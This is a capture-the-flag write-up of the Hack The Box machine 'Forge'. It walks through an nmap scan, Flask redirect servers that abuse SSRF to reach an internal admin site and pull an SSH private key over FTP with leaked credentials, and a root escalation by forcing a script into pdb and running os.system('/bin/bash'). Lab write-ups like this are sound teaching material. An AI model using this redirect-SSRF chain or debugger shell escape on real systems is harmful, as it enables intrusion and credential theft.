HTB-Forge: Double SSRF to Root Breaking Forge from the Inside Out 🧨
Just finished cracking HTB: Forge, and it turned out to be a slick lesson in chaining internal trust, redirection logic, and misconfigurations. A simple redirect opened the door, and an internal service’s blind trust in itself handed me the keys. This post takes you through the full chain—from initial recon to full root. 🔐

Recon: Nmap to the Rescue 🔍
Kicked things off with a full port scan:
Start with a full port scan:
nmap -sC -sV -Pn -p- forge.htb
Results
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41
Observations 📌
Port 21 is behind a firewall.
Port 80 is hosting a web application that redirects to
http://forge.htb
.
When navigating the site, clicking on images gives URLs like:

http://forge.htb/static/images/image1.jpg
The presence of a /static/
path hints at an MVC-style framework.
Subdomain Discovery
Running a subdomain fuzz revealed:
admin.forge.htb
Exploitation: SSRF + Redirect = Win
The application followed redirects on user-submitted URLs. So, I spun up a Flask server to exploit that behavior:
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/")
def admin():
return redirect('http://admin.forge.htb')
app.run(debug=True, host="0.0.0.0", port=80)

this had an upload and announcements
Visiting /announcements
on this subdomain displayed:
<li>An internal FTP server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http, and https.</li>
<li>You can upload via URL using ?u=<url>.</li>
#!/usr/bin/env python
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route("/2")
def ftp_direct():
f = request.args.get('f', default='')
return redirect(f'http://admin.forge.htb/upload?u=ftp://user:[email protected]/.ssh/id_rsa')
@app.route("/")
def admin():
return redirect('http://admin.forge.htb')
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=80)
Shell Time
Once I had the key:
chmod 600 user.key
ssh -i user.key [email protected]
Boom. User shell obtained.
Privilege Escalation: Debug Mode Exploit

Found this script at /opt/remote-manage.py
:
...
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
# Admin menu with options
...
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
If the script fails, it invokes pdb
—a Python debugger. With two simultaneous sessions, I triggered it to drop into interactive mode.
Then, I popped a shell:
import os
os.system("/bin/bash")
Rooted.



Last updated